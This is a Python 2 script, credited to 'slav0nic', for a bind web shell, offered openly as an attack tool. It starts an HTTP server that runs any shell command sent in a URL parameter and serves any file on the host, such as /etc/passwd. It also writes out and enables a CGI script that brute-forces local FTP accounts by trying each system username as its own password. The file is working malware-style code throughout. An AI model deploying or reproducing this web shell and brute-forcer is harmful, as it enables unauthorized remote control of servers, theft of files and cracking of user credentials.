#!/usr/bin/env python

#-----------------------------------------------+
#                      ._____________________.  |
#   Coded by slav0nic  | slav0nic0@gmail.com |  |   
#                      ^---------------------^  |
# Site: slav0nic.xss.ru                         |
#-----------------------------------------------+
#script bind cgi server on 8000 port and get u web-shell + simple http serv
#
#use: python sl_wb_sh.py [port]
#get file or dir listing: site/?dir/etc/passwd
#cgi dir is created in "homedir"
#"bugz": 1 bug - my enlish ;)
#popen function wait while procces terminate..and only after that serv sends answer=> not good:)
#ps: not use ping and etc command
#big files (>500mb)files are long opened (file=open(..).read() ;))
#threads are not used
#############################
#idea=good
#realization=sux :)
########_CONFIG_#############

PORT = 8000
__version__="pyBindWebShell 0.1"
homedir=None                    #exmpl. homedir="/tmp" 
#######_CONFIG_END_#########
import os
import sys
import glob
import mimetypes
from urllib import *
import CGIHTTPServer
import BaseHTTPServer

if len(sys.argv)>1:
    PORT=int(sys.argv[1])


def dir_to_lnk(directory):  
    directory.sort()
    href_dirs=""
    size="0"  
    for i in directory:
        if os.path.isfile(i):
            k=i.split("/")[-1:][0]       #for file  
        else:
            k=i.split("/")[-1:]     #for dir
        if not i.startswith("//"):i="/"+i
        try:
            size=str(os.path.getsize(i)/1024)
        except:
            size=sys.exc_value
        href_dirs+='<pre><a href="/?dir%s">%s</a>      %s Kb<p></pre>'%(i,k,size)
    return href_dirs

index="""
<html>
<head><title>[bind-web_shell 0.1]</title></head>
<body bgcolor="black" link="336699" text="green">
Server_Info: <font color=white> %s </font>
<table border="0" cellpadding="2" cellspacing="0" ><tr>
<th rowspan="2" valign="top" align="left" bgcolor="#575757"></th>
<th bgcolor="#575757" align="left"><font color="#42D75F">Bind_web_shell:</font></th>
</tr><tr><td><hr>MENU: |<a href="../cgi/ftp_br.py">:FTP_Brut:</a>|<a href="../?dir/"> :"Dir. /":</a><hr>
<font color=white>
<p><form METHOD=GET ACTION="http://localhost:%i">
<input type=text name=cmd SIZE=50>
<input type=submit value=".:cmd:."></form><pre>%s</pre></font><hr></tr>
</td>
"""
#cgi as exmpl.
ftp_brut=r"""#!/usr/bin/env python
import cgitb; cgitb.enable()
from ftplib import FTP
import sys
import time
import pwd
step=50 
users=[]
ok_users=[]
j,i=0,0
for user in pwd.getpwall():
      users.append(user[0])
ftp= FTP()
print "Content-Type: text/html\n"
print '<body bgcolor="black" link="336699" text="green">'
print "<pre>[+]FtpBrut: Users loaded = " ,len(users)
start_time=time.time()
for i in range(len(users)):
    if not(i % step) and i!=0:
        j+=step
        print "[!]bruted %i passwords (%i pass/sec)"%(j,int(j/(time.time()-start_time))) 
    try:
       ftp.connect('localhost')   # connect to host, default port
    except:
       print 'FtpBrut: connection error';break
    try:   
       if(ftp.login(user=users[i],passwd=users[i])):        
           print "\t<font color=red>[+]</font> l=", users[i],"p=", users[i]     
           ok_users.append(users[i])           
    except :
        pass
    ftp.close()             
print "\tCracked", len(ok_users),"users"
print 'Good Logins: <font color=red>%s</font> from %i</pre>'%(ok_users,len(users))
"""

serv_info=os.popen("whoami;uptime").read()+str(os.uname()).replace("', '"," ")[1:-1]
try:
    if homedir:
        os.chdir(homedir)
    os.mkdir("cgi")
    print "[+]CGI dir created"
except:
    print sys.exc_value
try:    
    f_br=open("cgi/ftp_br.py","w")
    f_br.write(ftp_brut)
    f_br.close()
    map(lambda x: os.chmod(x,0700),glob.glob("cgi/*"))
except:
    print sys.exc_value

class Handler(CGIHTTPServer.CGIHTTPRequestHandler):
    cgi_directories = ["/cgi"] 
    server_version=__version__
    
    def do_GET(s):      
        cmd="[slav0nic]"
        pars_dir=""
        show_form=1
        new_dir=""
        result=""
        if s.is_cgi():
            try:
                os.chdir(homedir)
            except:
                pass
            s.run_cgi()
        else:
            if s.path <> '/':           
                if s.path[2:5]=='cmd':
                    parse=unquote(s.path[6:].replace('+',' '))
                    trash,cmd=os.popen4(parse)               
                    result=cmd.read()
                    for command in parse.replace("~",os.environ['HOME']).split(";") :
                        if "cd " in command:
                            new_dir=command.split()[-1:]
                            if new_dir:                
                                try: os.chdir(new_dir[0])
                                except:
                                    result+="[-]ChangeDir_Error: "+str(sys.exc_value)
                                    
                elif s.path[2:5]=='dir':
                   show_form=0
                   pars_dir=unquote(s.path[5:])
                   if os.path.isdir(pars_dir):                      
                       content=glob.glob(pars_dir+"/*")                       
                       s.send_response(200)
                       s.send_header("Content-type", "text/html")
                       s.end_headers()
                       s.wfile.write(dir_to_lnk(content))
                   else:    
                       try:
                           file=open(pars_dir,"rb").read()                         
                           s.send_response(200)
                           s.send_header("Content-type", mimetypes.guess_type(pars_dir)[0])
                           s.send_header("Content-length", os.path.getsize(pars_dir))
                           s.end_headers()
                           s.wfile.write(file)
                       except:                          
                           s.send_error(404,sys.exc_value)
        
            if show_form:       
                 s.wfile.write(index %(serv_info,PORT,result))               
                 s.wfile.write("</body></html>")           
    do_POST=do_GET
   
httpd = BaseHTTPServer.HTTPServer(("", PORT), Handler)
print "[+]Server started.\nPort", PORT
httpd.serve_forever()

